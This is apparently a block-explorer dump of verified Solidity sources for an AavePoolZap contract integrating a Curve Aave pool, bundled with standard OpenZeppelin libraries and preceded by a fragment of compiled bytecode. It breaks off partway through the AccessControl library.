3016040518082815260200191505060405180910390a250565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035550565b60007f96de003e85302815fe026bddb9630a50a1d4dc51c5c355def172204c3fd1c73354905090565b60007fbc9d35b69e82e85049be70f91154051f5e20e574471195334bde02d1a9974c9054905090565b60006202a30043019050807f96de003e85302815fe026bddb9630a50a1d4dc51c5c355def172204c3fd1c733555056fea26469706673582212201e0f1d9cb82cfaa7f05d2d914d4a5238bf0ef8133a6d09394e2775cc3dbf34d564736f6c63430007060033
[ 38 ]
0xF38A80B42446C0f9C02bbb898A46714117C2Fb80
// SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IAssetAllocation} from "contracts/common/Imports.sol"; import { IStableSwap, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; import {CurveAaveConstants} from "./Constants.sol"; import {CurveGaugeZapBase} from "contracts/protocols/curve/common/Imports.sol"; contract AavePoolZap is CurveGaugeZapBase, CurveAaveConstants { string internal constant AAVE_ALLOCATION = "aave"; constructor() public CurveGaugeZapBase( STABLE_SWAP_ADDRESS, LP_TOKEN_ADDRESS, LIQUIDITY_GAUGE_ADDRESS, 10000, 100, 3 ) // solhint-disable-next-line no-empty-blocks {} function assetAllocations() public view override returns (string[] memory) { string[] memory allocationNames = new string[](2); allocationNames[0] = NAME; allocationNames[1] = AAVE_ALLOCATION; return allocationNames; } function erc20Allocations() public view override returns (IERC20[] memory) { IERC20[] memory allocations = _createErc20AllocationArray(0); return allocations; } function _getVirtualPrice() internal view override returns (uint256) { return IStableSwap(SWAP_ADDRESS).get_virtual_price(); } function _getCoinAtIndex(uint256 i) internal view override returns (address) { return IStableSwap(SWAP_ADDRESS).underlying_coins(i); } function _addLiquidity(uint256[] calldata amounts, uint256 minAmount) internal override { IStableSwap(SWAP_ADDRESS).add_liquidity( [amounts[0], amounts[1], amounts[2]], minAmount, true ); } function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount ) internal override { require(index < 3, "INVALID_INDEX"); IStableSwap(SWAP_ADDRESS).remove_liquidity_one_coin( lpBalance, index, minAmount, true ); } /** * @dev claim protocol-specific rewards; stkAAVE in this case. * CRV rewards are always claimed through the minter, in * the `CurveBasePoolGauge` implementation. */ function _claimRewards() internal override { ILiquidityGauge liquidityGauge = ILiquidityGauge(GAUGE_ADDRESS); liquidityGauge.claim_rewards(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {IDetailedERC20} from "./IDetailedERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {AccessControl} from "./AccessControl.sol"; import {INameIdentifier} from "./INameIdentifier.sol"; import {IAssetAllocation} from "./IAssetAllocation.sol"; import {IEmergencyExit} from "./IEmergencyExit.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {CTokenInterface} from "./CTokenInterface.sol"; import {ITokenMinter} from "./ITokenMinter.sol"; import {IStableSwap, IStableSwap3} from "./IStableSwap.sol"; import {IStableSwap2} from "./IStableSwap2.sol"; import {IStableSwap4} from "./IStableSwap4.sol"; import {IOldStableSwap2} from "./IOldStableSwap2.sol"; import {IOldStableSwap4} from "./IOldStableSwap4.sol"; import {ILiquidityGauge} from "./ILiquidityGauge.sol"; import {IStakingRewards} from "./IStakingRewards.sol"; import {IDepositZap} from "./IDepositZap.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {INameIdentifier} from "contracts/common/Imports.sol"; import { Curve3PoolUnderlyerConstants } from "contracts/protocols/curve/3pool/Constants.sol"; abstract contract CurveAaveConstants is Curve3PoolUnderlyerConstants, INameIdentifier { string public constant override NAME = "curve-aave"; address public constant STABLE_SWAP_ADDRESS = 0xDeBF20617708857ebe4F679508E7b7863a8A8EeE; address public constant LP_TOKEN_ADDRESS = 0xFd2a8fA60Abd58Efe3EeE34dd494cD491dC14900; address public constant LIQUIDITY_GAUGE_ADDRESS = 0xd662908ADA2Ea1916B3318327A97eB18aD588b5d; address public constant STKAAVE_ADDRESS = 0x4da27a545c0c5B758a6BA100e3a049001de870f5; address public constant ADAI_ADDRESS = 0x028171bCA77440897B824Ca71D1c56caC55b68A3; address public constant AUSDC_ADDRESS = 0xBcca60bB61934080951369a648Fb03DF4F96263C; address public constant AUSDT_ADDRESS = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import { CurveAllocationBase, CurveAllocationBase3 } from "./CurveAllocationBase.sol"; import {CurveAllocationBase2} from "./CurveAllocationBase2.sol"; import {CurveAllocationBase4} from "./CurveAllocationBase4.sol"; import {CurveGaugeZapBase} from "./CurveGaugeZapBase.sol"; import {CurveZapBase} from "./CurveZapBase.sol"; import {OldCurveAllocationBase2} from "./OldCurveAllocationBase2.sol"; import {OldCurveAllocationBase4} from "./OldCurveAllocationBase4.sol"; import {TestCurveZap} from "./TestCurveZap.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IDetailedERC20 is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.6.11; import { AccessControl as OZAccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; /** * @notice Extends OpenZeppelin AccessControl contract with modifiers * @dev This contract and AccessControlUpgradeSafe are essentially duplicates. */ contract AccessControl is OZAccessControl { /** @notice access control roles **/ bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE"); bytes32 public constant LP_ROLE = keccak256("LP_ROLE"); bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant EMERGENCY_ROLE = keccak256("EMERGENCY_ROLE"); modifier onlyLpRole() { require(hasRole(LP_ROLE, _msgSender()), "NOT_LP_ROLE"); _; } modifier onlyContractRole() { require(hasRole(CONTRACT_ROLE, _msgSender()), "NOT_CONTRACT_ROLE"); _; } modifier onlyAdminRole() { require(hasRole(ADMIN_ROLE, _msgSender()), "NOT_ADMIN_ROLE"); _; } modifier onlyEmergencyRole() { require(hasRole(EMERGENCY_ROLE, _msgSender()), "NOT_EMERGENCY_ROLE"); _; } modifier onlyLpOrContractRole() { require( hasRole(LP_ROLE, _msgSender()) || hasRole(CONTRACT_ROLE, _msgSender()), "NOT_LP_OR_CONTRACT_ROLE" ); _; } modifier onlyAdminOrContractRole() { require( hasRole(ADMIN_ROLE, _msgSender()) || hasRole(CONTRACT_ROLE, _msgSender()), "NOT_ADMIN_OR_CONTRACT_ROLE" ); _; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice Used by the `NamedAddressSet` library to store sets of contracts */ interface INameIdentifier { /// @notice Should be implemented as a constant value // solhint-disable-next-line func-name-mixedcase function NAME() external view returns (string memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {INameIdentifier} from "./INameIdentifier.sol"; /** * @notice For use with the `TvlManager` to track the value locked in a protocol */ interface IAssetAllocation is INameIdentifier { struct TokenData { address token; string symbol; uint8 decimals; } /** * @notice Get data for the underlying tokens stored in the protocol * @return The array of `TokenData` */ function tokens() external view returns (TokenData[] memory); /** * @notice Get the number of different tokens stored in the protocol * @return The number of tokens */ function numberOfTokens() external view returns (uint256); /** * @notice Get an account's balance for a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param account The account to get the balance for * @param tokenIndex The index of the token to get the balance for * @return The account's balance */ function balanceOf(address account, uint8 tokenIndex) external view returns (uint256); /** * @notice Get the symbol of a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param tokenIndex The index of the token * @return The symbol of the token */ function symbolOf(uint8 tokenIndex) external view returns (string memory); /** * @notice Get the decimals of a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param tokenIndex The index of the token * @return The decimals of the token */ function decimalsOf(uint8 tokenIndex) external view returns (uint8); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "./Imports.sol"; /** * @notice Used for contracts that need an emergency escape hatch * @notice Should only be used in an emergency to keep funds safu */ interface IEmergencyExit { /** * @param emergencySafe The address the tokens were escaped to * @param token The token escaped * @param balance The amount of tokens escaped */ event EmergencyExit(address emergencySafe, IERC20 token, uint256 balance); /** * @notice Transfer all tokens to the emergency Safe * @dev Should only be callable by the emergency Safe * @dev Should only transfer tokens to the emergency Safe * @param token The token to transfer */ function emergencyExit(address token) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a 